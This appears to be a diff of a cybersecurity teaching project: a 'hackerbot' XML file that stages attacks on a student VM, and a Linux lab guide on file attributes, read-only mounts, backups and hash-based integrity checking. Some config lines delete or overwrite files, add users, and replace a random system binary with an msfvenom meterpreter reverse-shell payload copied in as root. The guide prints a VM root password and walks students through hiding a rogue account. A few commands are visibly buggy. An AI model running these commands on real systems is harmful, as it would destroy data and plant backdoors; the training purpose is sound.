+			<message>:) Well done! <%= $flags.pop %></message>
+			<trigger_next_attack>true</trigger_next_attack>
+		</condition>
+		<condition> <!-- TODO: chmod to defeat the defense? -->
+			<output_matches>Permission denied</output_matches>
+			<message>:( You did protect the file, but not using file attributes.</message>
+		</condition>
+		<condition>
+			<output_equals>0</output_equals>
+			<message>:( We managed to delete your file! You need to use file attributes to protect the file.  Create a new file.</message>
+		</condition>
+		<condition>
+			<output_matches>No such file or directory</output_matches>
+			<message>:( The file should exist!</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<tutorial><%= File.read TEMPLATES_PATH + 'file_attributes.md.erb' %></tutorial>
+	</attack>
+
+	<attack>
+<% $log_file = $log_files.sample -%>
+		<!--<topic>Protecting integrity with file attributes</topic>-->
+		<prompt>An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only.</prompt>
+
+		<post_command>echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'damn!' >> /home/<%= $main_user %>/<%= $log_file %>; tail /home/<%= $main_user %>/<%= $log_file %></post_command>
+		<condition>
+			<output_not_matches>damn!</output_not_matches>
+			<message>:( You stopped anything from being appended to the file. What kind of log file do you think this is?</message>
+		</condition>
+		<condition>
+			<output_matches>Operation not permitted</output_matches>
+			<message>:) Well done! <%= $flags.pop %></message>
+			<trigger_next_attack>true</trigger_next_attack>
+		</condition>
+		<condition>
+			<output_matches>No such file or directory</output_matches>
+			<message>:( The file should exist!</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+		<tutorial><%= ERB.new(File.read TEMPLATES_PATH + 'ro_mounting.md.erb').result(self.get_binding) %></tutorial>
+	</attack>
+
+	<attack>
+		<!--<topic>Protecting integrity with read-only filesystems</topic>-->
+		<prompt>An attempt to edit a file in /etc is coming. Stop the attack by bind mounting /etc/ as read-only.</prompt>
+
+		<post_command>touch /etc/you_were_hacked; adduser yourehacked</post_command>
+		<condition>
+			<output_matches>Read-only file system</output_matches>
+			<message>:) Well done! <%= $flags.pop %></message>
+			<trigger_next_attack />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted</output_matches>
+			<message>:( You stopped the attack, but not by using read only bind mounting...</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+	</attack>
+
+	<attack>
+<% $random_user = SecureRandom.hex -%>
+		<!--<topic>Detecting changes to resources using backups</topic>-->
+		<prompt>An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd.</prompt>
+
+		<post_command>sudo adduser hackerbot --gecos '<%= $random_user %>' --disabled-password --quiet; echo $?</post_command>
+		<condition>
+			<output_matches>0</output_matches>
+			<message>User added</message>
+			<!--<trigger_next_attack>true</trigger_next_attack>-->
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>already exists</output_matches>
+			<message>:( Remove the user and try again.</message>
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes...</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<quiz>
+			<question>Now after the attack, find the username added by diffing using a backup. What username was created?</question>
+			<answer>^<%= $random_user %>$</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	<tutorial>
+<%= File.read TEMPLATES_PATH + 'detect_changes.md.erb' %>
+
+<%= File.read TEMPLATES_PATH + 'detect_changes_backups.md.erb' %>
+	</tutorial>
+	</attack>
+
+	<attack>
+		<!--<topic>Detecting changes to resources using backups</topic>-->
+		<prompt>An attempt to edit a config file is coming, let it happen. But first create a backup of the /etc/ directory to /tmp/etc-backup/.</prompt>
+
+		<post_command>echo '# <%= $flags.pop %>' >> `find /etc/ -name '*.sh' | sort -R | head -n 1`; echo $?</post_command>
+		<condition>
+			<output_matches>0</output_matches>
+			<message>A flag has been inserted into a random file... Use your backups to compare /etc/ to the backup to find the flag. Get to work!</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes...</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<quiz>
+			<question>Find the flag, what file was the flag stored in?</question>
+			<answer>^/etc/.*sh$</answer>
+			<correct_answer_response>:) Well done</correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+
+	</attack>
+
+	<attack>
+		<!--<topic>Detecting changes to resources using backups</topic>-->
+		<prompt>An attempt to edit a config file is coming, let it happen.</prompt>
+
+		<post_command>echo '# <%= $flags.pop %>' >> `find /tmp/etc-backup/ -name '*.sh' | sort -R | head -n 1`; echo $?</post_command>
+		<condition>
+			<output_matches>0</output_matches>
+			<message>A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work!</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes... We are trying to write to /tmp/etc-backup/</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right... We are trying to write to /tmp/etc-backup/</message>
+		</else_condition>
+
+		<quiz>
+			<question>Find the flag, what file was the flag stored in?</question>
+			<answer>^/etc-backup/.*sh$</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+	<attack>
+<% $random = SecureRandom.hex -%>
+
+		<!--<topic>File integrity checkers</topic>-->
+		<prompt>Creating a new file in /home/<%= $main_user %>/...</prompt>
+
+		<post_command>echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $?</post_command>
+		<condition>
+			<output_matches>0</output_matches>
+			<message>Created /home/<%= $main_user %>/something_secret</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right... We are trying to write to /secrets/something_secret</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the SHA1 hash of /home/<%= $main_user %>/something_secret?</question>
+			<answer>^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+		<tutorial><%= File.read TEMPLATES_PATH + 'fim.md.erb' %></tutorial>
+	</attack>
+
+	<!--TODO test this-->
+	<attack>
+		<!--<topic>File integrity checkers</topic>-->
+		<prompt>Going to edit one of your files in /etc/, use hash comparisons to detect which file changes</prompt>
+		<post_command>x=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '' >> $x; echo $x</post_command>
+		<suppress_command_output_feedback />
+
+		<condition>
+			<output_matches>/etc.*</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right... We are trying to write to /secrets/something_secret</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the file that changed?</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+		<tutorial><%= File.read TEMPLATES_PATH + 'fim_recursive.md.erb' %></tutorial>
+	</attack>
+
+	<!--TODO test this-->
+	<attack>
+		<!--<topic>File integrity checkers</topic>-->
+		<prompt>Going to create a new file in /etc/, use hash comparisons to detect which new file changes (hint: sha1deep, hashdeep, or shasum)</prompt>
+		<post_command>x=`find /etc/ -type d' | sort -R | head -n 1`; mktemp -p $x -t "XXXXXXXX"</post_command>
+		<suppress_command_output_feedback />
+
+		<condition>
+			<output_matches>/etc.*</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right... We are trying to write to /secrets/something_secret</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the file that was created?</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+	<!--TODO test this-->
+	<!--TODO could further randomise outcomes, actually copies rather than creating a new binary-->
+	<attack>
+		<!--<topic>File integrity checkers</topic>-->
+		<prompt>Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file (hint: sha1deep, hashdeep, or shasum)</prompt>
+		<post_command>srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest</post_command>
+		<suppress_command_output_feedback />
+
+		<condition>
+			<output_matches>/etc.*</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right... We are trying to write to /secrets/something_secret</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the file that was created?</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+	<!--TODO test this-->
+	<!--TODO could further randomise outcomes, actually copies rather than creating a new binary-->
+	<attack>
+		<!--<topic>File integrity checkers</topic>-->
+		<prompt>Going to move random binaries in /bin/|/usr/bin/ use hash comparisons to find the filename (hint: sha1deep, hashdeep, or shasum)</prompt>
+		<post_command>mv1=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv2=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv $mv1 $mv1.tmp; mv $mv2 $mv1; mv $mv1.tmp $mv2; echo $mv1 $mv2</post_command>
+		<suppress_command_output_feedback />
+
+		<condition>
+			<output_matches>/etc.*</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right... We are trying to write to /secrets/something_secret</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the file that was created?</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+	<!--copied a new random file in /etc/ use hash comparisons to find the filename (hint: sha1deep, hashdeep, or shasum) -->
+	<!--TODO test this-->
+	<attack>
+		<!--<topic>File integrity checkers</topic>-->
+		<prompt>Going to copy a new random file in /etc/ use hash comparisons to find the filename (hint: sha1deep, hashdeep, or shasum)</prompt>
+		<post_command>srcf=`find /etc/ -type f | sort -R | head -n 1`; cp $srcf $srcf.$RANDOM</post_command>
+		<suppress_command_output_feedback />
+
+		<condition>
+			<output_matches>/etc.*</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right... We are trying to write to /secrets/something_secret</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the file that was created?</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+	<!--trojanising a file in /usr/bin/, use hash comparisons to detect which file changes-->
+	<!--TODO test this-->
+	<attack>
+		<!--<topic>File integrity checkers</topic>-->
+		<get_shell>binname=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; echo $binname; msfvenom -a -x86 --platform linux -p linux/x86/meterpreter_reverse_tcp --payload-options -f elf -o msfout; sshpass -p <%= $root_password %> scp -oStrictHostKeyChecking=no ./msfout root@{{chat_ip_address}}:$binname</get_shell>
+
+		<prompt>Going to replace a binary file in /bin/ or /usr/bin/ with malware, detect which file has changed (hint: sha1deep, hashdeep, or shasum)</prompt>
+		<!--<post_command></post_command>-->
+		<!--<suppress_command_output_feedback />-->
+
+		<!--<condition>-->
+			<!--<output_matches>/etc.*</output_matches>-->
+			<!--<message>Good. Now answer this...</message>-->
+			<!--<trigger_quiz />-->
+		<!--</condition>-->
+		<!--<condition>-->
+			<!--<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>-->
+			<!--<message>:( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/</message>-->
+		<!--</condition>-->
+		<!--<else_condition>-->
+			<!--<message>:( Something was not right... We are trying to write to /secrets/something_secret</message>-->
+		<!--</else_condition>-->
+
+		<quiz>
+			<question>What is the file that was created?</question>
+			<answer>{{shell_command_output_first_line}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+		<tutorial><%= File.read TEMPLATES_PATH + 'fim_package_management.md.erb' %></tutorial>
+	</attack>
+
+	<!--trojanising a file in /usr/bin/, use package management to detect which file changes-->
+	<attack>
+		<!--<topic>File integrity checkers</topic>-->
+		<get_shell>binname=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; echo $binname; msfvenom -a -x86 --platform linux -p linux/x86/meterpreter_reverse_tcp --payload-options -f elf -o msfout; sshpass -p <%= $root_password %> scp -oStrictHostKeyChecking=no ./msfout root@{{chat_ip_address}}:$binname</get_shell>
+
+		<prompt>Trojanising a file in /usr/bin/, use package management to detect which file changes</prompt>
+		<!--<post_command></post_command>-->
+		<!--<suppress_command_output_feedback />-->
+
+		<!--<condition>-->
+		<!--<output_matches>/etc.*</output_matches>-->
+		<!--<message>Good. Now answer this...</message>-->
+		<!--<trigger_quiz />-->
+		<!--</condition>-->
+		<!--<condition>-->
+		<!--<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>-->
+		<!--<message>:( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/</message>-->
+		<!--</condition>-->
+		<!--<else_condition>-->
+		<!--<message>:( Something was not right... We are trying to write to /secrets/something_secret</message>-->
+		<!--</else_condition>-->
+
+		<quiz>
+			<question>What is the file that was created?</question>
+			<answer>{{shell_command_output_first_line}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+
+</hackerbot>

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity.md

@@ -0,0 +1,959 @@
+# Integrity Management: Protecting Against and Detecting Change
+
+## Introduction
+
+These tasks can be completed on the openSUSE\_42.1 VM.
+
+This lab could be completed on most RPM-based Linux systems with these
+tools installed: rsync, md5sum, md5deep, Perl, ssh server (if working
+together).
+
+## Preparation
+
+If you are working on campus in the IMS labs using the oVirt online
+labs, [*click here for instructions on how to login on campus in the IMS
+labs and create VMs from
+templates*](https://docs.google.com/document/d/1SZQmZ8tEmwqzlya5zMCuwTh_C1EqHfMRif09CyilYAE/edit?usp=sharing).
+
+If you are working remotely using the oVirt online labs, [*click here
+for instructions on how to login via VPN and create VMs from
+templates*](https://docs.google.com/document/d/1zhANC_pz7fNwc_cALxGwPEn3_vls2YjWJUAkUV0BwlI/edit?usp=sharing).
+
+The oVirt system is a new online lab infrastructure hosted here at Leeds
+Beckett. This infrastructure is **currently on trial, as a pilot**.
+There is a good chance there will be some technical issues, and not
+every lab will be available via this system. However, if you are happy
+to benefit from this experiment, please keep in mind that you may need
+to fall back to one of the above methods.
+
+If you are working remotely having downloaded our VMs or by copying them
+when you were on campus, [*click here for instructions on how to
+download VMware Player and configure the VMs to run
+remotely*](https://drive.google.com/open?id=1mZSvF9Gc76mKQ5mW9Lsq2fWGIZd8-rE7RqmRXy1ICLY).
+
+If you are on campus using the IMS system, [*click here for instructions
+on how to use the IMS system and VM download
+scripts*](https://drive.google.com/open?id=1E03Q7cPrUEk_YZ8syvo-sk6FGv2SlJT1u9KwGOFWdFA).
+
+Start these VMs:
+
+-   openSUSE\_42.1 (user: student password: student)
+
+    -   Two copies if working alone (Hint: change the desktop background
+        > of one VM so that you can easily keep track of which VM you
+        > are working on)
+
+Note: The root password on the openSUSE\_Leap\_42.1-- **which should NOT
+be used to log in graphically** -- is “tiaspbiqe2r” (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember). Again, never log in to the desktop environment using the
+root account -- that is bad practice, and should always be avoided.
+
+Some of these exercises can be completed with a classmate (or simply
+using two VMs), and assumes root access is available to each other's
+systems via an ssh server.
+
+> *Distance learning students*: If you would like to work with someone
+> else from the course, please contact each other via the course Google
+> group and share IP addresses.
+
+**On openSUSE**:
+
+Install the required packages:
+
+> sudo zypper install rsync md5deep perl openssh
+
+## Integrity
+
+Security is often described in terms of confidentiality, integrity, and
+availability. Protecting the integrity of information involves
+preventing and detecting unauthorised changes. In many commercial
+organisations integrity of information is the highest priority security
+goal. Managing who is authorised to make changes to databases or files,
+and monitoring the integrity of resources for unauthorised changes is an
+important task in managing information security.
+
+## Protecting integrity
+
+Protecting the integrity of resources, such as the files on a system,
+involves successfully managing a variety of security mechanisms, such as
+authentication, access controls and file permissions, firewalls, and so
+on.
+
+> On Linux systems this can include managing passwords, packet filtering
+> IPTables rules, standard Unix file permissions (rwx), Linux extended
+> attributes (including ACLs for detailed authentication, labels for
+> mandatory access control (MAC), and Linux Capabilities). Linux (like
+> other Unix-like and Unix-based systems) has a long history of adding
+> new security features as and when they are required.
+>
+> Note that many security controls such as those listed above are very
+> important for protecting the integrity of files, but are beyond the
+> scope of this lab. Here the focus is on techniques that are *entirely*
+> focussed on integrity rather than confidentiality or availability.
+
+There are precautions that can be taken to reduce the chances of
+unauthorised changes.
+
+### Protecting integrity with file attributes
+
+Unix systems (such as Linux or FreeBSD) include file attributes that,
+amongst other features, can make files immutable or append only. Setting
+these file attributes can provide an effective layer of security, and
+yet could be considered one of the more obscure Unix security
+features[^1]. Note that this feature is dependent on the use of a
+compatible filesystem (most Unix filesystems, such as ext, are
+compatible with file attributes). Once configured, file attributes can
+even prevent root (the all-powerful Unix superuser) from making changes
+to certain files.
+
+Open a terminal console (such as Konsole from
+![](media/media/image3.png) KDEMenu → System → Konsole).
+
+Start by creating a file with some content. Run:
+
+``
+ sudo bash -c 'cat > /var/log/mylogfile'
+ ``
+>
+> (Type some content, then press Ctrl-D to finish and return to the
+> prompt.)
+
+Look at the details of the file:
+
+> ls -la /var/log/mylogfile
+>
+> -rw-r--r-- 1 root root 20 Feb 7 17:38 /var/log/mylogfile
+
+As we can see above, the file is owned by root, who has read-write
+access – exploring Unix file permissions further is outside the scope of
+this lab, but will be covered elsewhere.
+
+Run:
+
+> lsattr /var/log/mylogfile
+>
+> -------------e- /var/log/mylogfile
+
+The ‘e’ flag is common on ext filesystems, may or may not be present
+when you run the above, and does not really concern us. From a security
+perspective the ‘a’ and ‘i’ flags are the most interesting. Read the man
+page for chattr to find out more about these flags and what they do:
+
+> man chattr
+>
+> (Press q to leave the manual page)
+
+Set the ‘i’ flag using the chattr command:
+
+> sudo chattr +i /var/log/mylogfile
+
+Now try to delete the file and see what happens:
+
+> rm /var/log/mylogfile
+
+Denied! Opps, that’s right, root owns the file (since you created it
+with sudo)! Use root to try to delete the file:
+
+> sudo rm /var/log/mylogfile
+
+It still didn’t work! That’s right, even root can’t delete the file,
+without changing the file’s attributes back first.
+
+Use some commands to remove the ‘i’ flag (hint: “-i”, instead of “+i”).
+
+Now run a command to set the ‘a’ flag on /var/log/mylogfile.
+
+If you have done so correctly, attempting to overwrite the file with a
+test message should fail:
+
+> sudo bash -c 'echo "test message" > /var/log/mylogfile'
+>
+> This should produce an error, since ‘>’ causes the output of the
+> program to be written to the specified log file, which is not allowed
+> due to the chattr command you have run.
+
+Yet you should be able to append messages to the end of the file:
+
+> sudo bash -c 'echo "*your-name*: test message" **>>**
+> /var/log/mylogfile'
+>
+> This should succeed, since ‘>>’ causes the output of the program
+> to be appended (added to the end of) to the specified log file, which
+> is allowed. Use your name above, for example “echo "Cliffe: test
+> message" >> /var/log/mylogfile”.
+
+View your changes at the end of the file:
+
+> tail /var/log/mylogfile
+
+This has obvious security benefits, this feature can be used to allow
+files to be written to without altering existing content. For example,
+for ensuring that log files can be written to, but avoiding giving
+everyone who can write to the file the ability to alter its contents.
+
+
+### Protecting integrity with read-only filesystems
+
+On Unix, a filesystem is mounted to a particular point in the directory
+structure; for example, a USB thumb drive may be mounted to
+/media/myUSB/. Some filesystems will automatically mount read-only; for
+example, if you insert a CD-ROM, since those disks are physically
+read-only. It is possible to optionally mount almost any filesystem,
+such as a USB or even a directory, in read-only mode, which will make it
+practically impossible to write changes to it (without remounting or
+accessing the drive/directory in other ways, which normally only root
+can do).
+
+> In a command prompt, run:
+>
+> mount
+>
+> Note that many of the devices and directories have been mounted for
+> read and write access (**rw**). For security reasons, it can be safer
+> to mount things as read-only, when we don’t need to be able to make
+> changes to the contents.
+>
+> Ordinary users can only read the /etc directory but the superuser root
+> who owns the /etc directory can read and write to it. In the following
+> example, you are going to mount the /etc directory to a mount point
+> (another directory within the filesystem) and the contents of the /etc
+> directory will be accessible via the mount point.
+>
+> List the contents of the /etc directory so you are familiar with its
+> contents:
+>
+> ls /etc
+>
+> Create a new directory to be the mount point:
+>
+> mkdir /home/student/test
+>
+> Mount the /etc directory to the new mount point:
+>
+> sudo mount -o bind /etc /home/student/test
+>
+> Make sure the /etc directory is accessible via the test directory
+> mount point:
+>
+> ls /home/student/test
+>
+> Ordinary users can only read but the superuser root can still write to
+> the directory. Test this by creating a new file as the superuser root
+> in the /home/student/test directory:
+>
+> sudo touch /home/student/test/file1
+>
+> Check that a new file has been created using the following commands
+>
+> ls -l /home/student/test/fi\*
+>
+> ls -l /etc/fi\*
+>
+> We can use this techniques to make filesystems and directories
+> read-only. In the next example you will remount the etc in read-only
+> mode so that even the superuser root who owns the /etc directory
+> cannot make changes to its contents via the mount point.
+>
+> sudo mount -o remount,ro,bind /etc /home/student/test
+>
+> Test this by trying creating a new file as the superuser root in the
+> /home/student/test directory:
+>
+> sudo touch /home/student/test/file2
+>
+> This should prevent changes being accidently being made to important
+> configuration files in the /etc directory.
+>
+> Remount the the /etc directory as read-only to itself:
+>
+> sudo mount -o remount,ro,bind /etc /etc
+
+Mounting read-only can be an effective way of protecting resources that
+you don’t need to make any changes to. Read-only mounting is
+particularly effective when an actual disk resides externally, and can
+be enforced remotely. For example, when sharing files over the network.
+
+Note that mounting read-only may be circumvented by root (or a user with
+enough privilege) via direct access to the device files (/dev/sdc1 in
+the example above), or by re-mounting as read-write.
+
+Aside: in new versions of Linux, it is also possible to have a directory
+(one part of what is on a disk) present in the directory structure twice
+with different mount options (for example, /home/cliffe and
+/home/cliffe-read-only). This can be achieved by bind mounting, and then
+remounting to set the bind mount to read only. More information:
+[*http://lwn.net/Articles/281157/*](http://lwn.net/Articles/281157/)
+
+## Detecting changes to resources
+
+Although we can aim to protect integrity, eventually even the strongest
+defenses can fail, and when they do we want to know about it! In order
+to respond to a security incident we need to detect that one has
+occurred. One way we do so, is to detect changes to files on our system.
+
+### Detecting changes to resources using backups
+
+One technique is to compare files to a backup known to represent the
+system or resources in a clean state. One advantage of this approach is
+that we cannot only detect that files have changed, but also see exactly
+how they differ.
+
+You can (and, if possible, should) **conduct this exercise with a
+classmate**.
+
+Make a backup of your /etc/passwd file:
+
+> cp /etc/passwd /tmp/passwd\_backup
+
+This file (/etc/passwd) is an important file on Unix systems, which
+lists the user accounts on the system. Although historically the hashes
+of passwords were once stored here, they are now typically stored in
+/etc/shadow. Changes to the /etc/passwd file are usually infrequent –
+such as when new user accounts are created – and changes should only be
+made for authorised purposes.
+
+At this point, also make sure you have a backup of any work.
+
+If you are working with a classmate or using two VMs, once you (and your
+classmate or on the other VM) have saved a backup copy of your own
+passwd file using the above command, then connect to your classmate’s
+computer (other VM) using ssh:
+
+> Set your root password to a password you will share with your
+> classmate:
+>
+> sudo passwd
+>
+> Enable your SSH server:
+>
+> sudo /sbin/service sshd start
+>
+> Open port 22 for ssh access to your computer
+>
+> Click KDEMenu → System → Yast
+>
+> Click Firewall in the Security and Users section
+>
+> Click “Allowed Services”
+>
+> Choose “Secure Shell Server” from the “Service to Allow” drop down
+> list
+>
+> Click Add to add ssh to the list of allowed services.
+>
+> Click Next → Finish and close Yast
+>
+> Find your IP address using ifconfig, and tell your classmate your IP
+> address and root password.
+>
+> ssh *their-ip-address*
+>
+> (Where *their-ip-address* is as noted earlier.) You will be prompted
+> for student account password.
+>
+> Switch to the root user (you will be prompted for the root password):
+>
+> su -
+>
+> If you do not know each other’s root password, then feel free to log
+> each other in on an ssh session as root.
+
+Now that you have root access to their system[^2], add a new user to
+their computer... Your aim is to make the new account hard to notice. If
+you are working alone, just do this on your own system:
+
+> useradd *new-username*
+>
+> Where new-username, is some new name. Don’t tell your classmate the
+> name of the account you have created. You may want to create a
+> username that looks innocent.
+
+To make things even more interesting, edit the /etc/passwd file and move
+the new user account line somewhere other than right at the bottom, so
+that it is less obvious:
+
+> vi /etc/passwd
+>
+> Move the cursor onto the line representing your new account (probably
+> at the bottom).
+>
+> In vi type:
+>
+> :m *-number*
+>
+> Where number is the number of lines to move up, for example: “:m -20”
+> will move the currently selected line up 20 lines, “hiding” the new
+> user account amongst the others.
+>
+> Save your changes and exit vi by typing:
+>
+> :wq
+
+Now exit ssh:
+
+> exit
+
+If you are working with a together, look at the changes your classmate
+made on your computer, and try to spot the new user account:
+
+> less /etc/passwd
+>
+> (q to exit)
+
+It’s not as easy as it sounds, especially if your system has lots of
+user accounts.
+
+Since you have a backup of your passwd file, you can compare the backup
+with the current passwd file to determine it has been modified. One such
+tool for determining changes is diff. Diff is a standard Unix command.
+Run:
+
+> diff -q /tmp/passwd\_backup /etc/passwd
+
+Diff should report that the two files differ. Diff can also produce an
+easy to read description of exactly how the file has changed. This is a
+popular format used by programmers for sharing changes to source code:
+
+> diff -u /tmp/passwd\_backup /etc/passwd
+
+There are many advantages to the comparison of backups approach to
+detecting changes, but it also has its limitations. To apply this
+approach to an entire system, you will need a fairly large amount of
+either local or network shared storage, and writes need to be controlled
+to protect the backups, yet written to whenever authorised changes are
+made to keep the backup up-to-date. Also, when the comparisons are made
+substantial disk/network access is involved, since both both sources
+need to be read at the same time in order to do the comparison.
+
+In the example above, the backup was stored on the same computer. Did
+you think of editing your classmates backup passwd file? This is related
+to a major issue when checking for changes to the system: if your system
+has been compromised, then you can’t necessarily trust any of the local
+software or files, since they may have been replaced or modified by an
+attacker. For that reason, it can be safer to run software (such as
+diff) from a separate read-only storage. Yet that still may not be
+enough, the entire operating system could be infected by a rootkit.
+
+Aside: Filesystems, such as btrfs, that support history and snapshots
+can also be helpful for investigating breaches in integrity.
+
+### Detecting changes to resources using hashes and file integrity checkers
+
+Another technique for detecting modifications to files is to use hashes
+of files in their known good state. Rather than storing and comparing
+complete copies, a one way hash function can be used to produce a fixed
+length hash (or “digest”), which can be used for later comparisons.
+Hashes have security properties that enable this use:
+
+-   Each hash is unique to the input
+
+-   It is extremely difficult (practically impossible) to find another
+    > input that produces the same hash output
+
+-   Any change to the input (no matter how minor) changes the output
+    > hash dramatically
+
+We can store a hash and later recompute the hash, to determine whether
+the file has changed (if the hash is different), or it is exactly the
+same (if the hash is the same). If you have studied digital forensics,
+many of these concepts will be familiar to you, since hashes are also
+commonly used for verifying the integrity of digital evidence.
+
+Generate an MD5 hash of your backup password file, which you copied
+above:
+
+> md5sum /tmp/passwd\_backup
+
+Now calculate a hash of your current passwd file:
+
+> md5sum /etc/passwd
+
+If the generated hashes are different, you know the files do not have
+exactly the same content.
+
+Note that using hashes, there is no need to have the backup on-hand in
+order to check the integrity of files, you can just compare a newly
+generated hash to a previous one.
+
+Repeat the above two commands using shasum rather than md5sum. SHA1 and
+SHA2 are considered to be more secure than the “cryptographically
+broken” MD5 algorithm. Although MD5 is still in use today, it is safer
+to use a stronger hash algorithm, since MD5 is not collision-resistant,
+meaning it is possible to find multiple files that result in the same
+hash. SHA1 is considered partially broken, so a new algorithm such as
+SHA2 is currently a good option. There are a number of related commands
+for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and
+so on. These commands (as well as those in the next section) are readily
+available on most Unix systems, and are also available for Windows.
+
+#### File integrity checkers
+
+A file integrity checker is a program that compares files to previously
+generated hashes. A number of these kinds of tools exist, and these can
+be considered a form of host-based intrusion detection system (HIDS),
+particularly if the checking happens automatically. One of the most well
+known integrity checkers is Tripwire, which was previously released open
+source; although, new versions are closed source and maintained by
+Tripwire, Inc, with a more holistic enterprise ICT change management
+focus. There are other tools similar to Tripwire, such as AIDE (Advanced
+Intrusion Detection Environment), and OSSEC (Open Source Host-based
+Intrusion Detection System).
+
+The above md5sum, shasum (and so on) programs can also be used to check
+a list of file hashes.
+
+Create an empty file, where *your-name*, is your actual name:
+
+> touch *your-name*
+
+Run the following to generate a file containing hashes of files we can
+later check against:
+
+> shasum *your-name* >> /tmp/hash.sha
